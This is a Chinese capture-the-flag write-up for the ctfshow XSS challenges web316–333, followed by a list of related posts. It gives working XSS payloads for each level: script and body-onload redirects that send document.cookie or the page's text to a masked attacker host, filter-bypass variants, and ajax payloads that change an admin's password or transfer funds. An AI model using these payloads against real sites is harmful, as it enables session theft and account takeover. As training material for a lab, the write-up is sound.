CTFSHOW WP

题目的原理就是靶机的bot每隔一段时间访问输入的内容,模拟了反射型XSS

316.需要配套接收端XSS脚本

如果未过滤script且对外部资源加载无限制的情况下,可以指定src为精心准备的JS文件,使其加载,产生携带COOKIE的请求。

本解法直接将产生请求写在了表层。

<script>document.location.href='http://xxxxxxxxxxxxxxxxxxxx/x.php?1='+document.cookie</script>

317、318、319

<body onload="document.location.href='http://xxxxxxxxxxxxxxxxx/x.php?1='+document.cookie"></body>

320、321、322、323、324、325、326

空格过滤

可用tab,/**/等绕过

实测iframe,script,blog被过滤

<body/**/οnlοad="document.location.href='http://xxxxxxxxxxxx/x.php?1='+document.cookie"></body>
<body/οnlοad="document.location.href='http://xxxxxxxxxxxxx/x.php?1='+document.cookie"></body>

327

收件人admin

328、329、330

329会在访问后注销COOKIE

思路一

<script>document.location.href='http://xxxxxxxxxxxxxxxxxxx/x2.php?1='+document.cookie;</script>

XSS获取到管理员COOKIE,PHP令牌

1.在存储中修改COOKIE(),直接读取数据(前提是无转跳,或调试器暂停,麻烦)。

2.使用BURP修改字段,获取数据包。

GET /api/?page=1&limit=10 HTTP/1.1
Host: 132c79d6-1033-4025-8af1-8ff1a41d8b6b.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://132c79d6-1033-4025-8af1-8ff1a41d8b6b.challenge.ctf.show:8080/manager.php
Cookie: PHPSESSID=0ifvs3fbmklc4fpg6shrpr7qal

TIP:关于异步(加深了解可写项目或看项目),页面框架获取和数据拉取填充是异步进行的,不在同一个数据包中,如果通过BURP完成此题,请注意数据包是否为获取指定数据。

思路二

将页面指定部分直接发送到XSS平台

经分析,flag大概率在document.body.innerText,且数据量不大

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fKO7KrXj-1626010948636)(XSS详细教程/QQ截图20210707093956.png)]

<script>document.location.href='http://xxxxxxxxxxxxxxxxxxx/x.php?1='+document.body.innerText;</script>
<script>document.location.href='http://xxxxxxxxxxxxxxxxxxx/x.php?1='+document.body.textContent;</script>
<script>document.querySelector('#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent</script>// 329
<script>$('.layui-table-cell.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('{')>-1){document.location.href='http://xxxxxxxxxxxxxxxxxxxxxxxxx/x.php?1='+value.innerHTML;}});</script>// 定义sleep函数,转跳,睡眠,接口通信,然而由于机器人不用浏览器未实现,如果是真人则可行
<script>function sleep(numberMillis) {var now = new Date();var exitTime=now.getTime() + numberMillis;while (true) {now = new Date();if (now.getTime() > exitTime)return;}};window.location.href="manager.php";sleep(1000);$('.layui-table-cell.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('{')>-1){document.location.href='http://xxxxxxxxxxxxxxxxxxxxxxxx/x.php?1='+value.innerHTML;}});</script>

TIP:经查阅资料,HTTP协议并未对GET方法的URL传参长度进行限制,不过数据量过大可能被捕获或通信变慢(Dos了就不好了)。

330、331

改密码

<script>document.location.href='/api/change.php?p=123456'</script>
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123456'}});</script>

332、333

改密码(出问题)

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123456'}});</script>

对方转账

<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'admin2',a:'9999'}});</script>

[WP/CTFshow]XSS Web316-333相关推荐

  1. ctfshow XSS web316~web333

    web316 反射性 XSS 题目提示我们要以 admin 获取 奇葩的是用网上的 xss 平台,获取的 cookie 全是自己的. 可以在自己的服务器上,创建一个接收 cookie 的 PHP 文件 ...

  2. ctfshow XSS漏洞web316-328

    XSS漏洞 漏洞简介: XSS(Cross Site Scripting)意为跨站脚本攻击.为了不与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写 ...

  3. ctfshow XSS web316-web333 wp

    可能写的有点啰嗦,记录自己做题的过程 文章目录 web316 web317 web318 web319 web320 web321 web322 web323 web324 web325 web326 ...

  4. [CTFSHOW]XSS入门(佛系记录)

    文章目录 前言 web316 web317-319 前面某些题梭哈 web320 web321 web322-324过滤了; web325过滤了. 前面那个String.fromCharCode生产p ...

  5. ctfshow XSS

    收集一下可用的姿势吧, window.open:open() 方法用于打开一个新的浏览器窗口或查找一个已命名的窗口. location.href="/url" 当前页面打开URL页 ...

  6. [WP/ctfshow/XXE]ctfshow_XXE_web373-378

    外部实体注入 WEB373 // 允许加载外部实体 libxml_disable_entity_loader(false); // xml文件来源于数据流 $xmlfile = file_get_co ...

  7. CTFshow月饼杯(第二届) 中秋快乐 部分wp

    苟,都可以苟 只要我osint做的够快我就不会被刷掉.jpg 体验很好,下次还来( 注:tao2更新 目录 1.web web签到 2.crypto 我的木头啊!!! 一封信 3.misc proje ...

  8. ctfshow web入门 sql注入

    无过滤注入 web171 查询语句 $sql = "select username,password from user where username !='flag' and id = ' ...

  9. 一次日歪了的渗透测试

    作者:贝米少年 一次日歪了的渗透测试 目标站: 某微信小程序diy平台 https://scan.dyboy.cn/web/webside tscan 找到一个thinkphp的站 想办法报个错看看版 ...

最新文章

  1. 汇编语言随笔(11)- int 指令(返回到应用程序的中断例程),实验13(编写、应用中断例程)
  2. js中bind、call、apply函数的用法
  3. 牛逼!Python函数和文件操作(长文系列第3篇)
  4. Excel中将时间格式转化成时间戳格式
  5. 《绅士》Typecho个人博客模板主题
  6. SAP License:SAP MM配置中的一些常用的 TCODE
  7. Windows核心编程_inlineHook
  8. 第三章(循环) 编程题 2
  9. 服务器漏洞扫描系统的简单搭建
  10. Windows11桌面图标变成空白
  11. 转载:Fiddler 教程
  12. andriod 和风天气SDK获取实时天气(保姆级教程)
  13. Java SE 6.0实现高质量桌面集成开发
  14. 计算机常用的网络安全技术有哪些,简述计算机的网络安全技术有哪些常用技术?...
  15. charles证书信任设置
  16. 网上购车平台蛋蛋订车上私户,汽车之家青少年嘉年华正式开幕
  17. 阿里云服务器搭建完成后问题
  18. 聊聊RESTful - 科普篇
  19. 变强——GitHub 热点速览 Vol.46
  20. 程序员写代码兼职副业赚钱之路

热门文章

  1. 基于 51 单片机室内灯光控制系统
  2. PLC数据采集网关有哪些作用,PLC数据采集网关如何正确进行使用
  3. 【JS】js的urlencode编码
  4. 【纪中受难记】——Day5: 改题好烦
  5. Linux系统破解root密码
  6. C函数库(libc、glibc、uClibc、newlib)
  7. 使得法国文化公司的根深蒂固
  8. springboot+flyway使用
  9. 【SAP-SD】史上最全的SAP凭证类型总结
  10. Unity 3D 刚体(Rigidbody)|| Unity 3D 刚体实践案例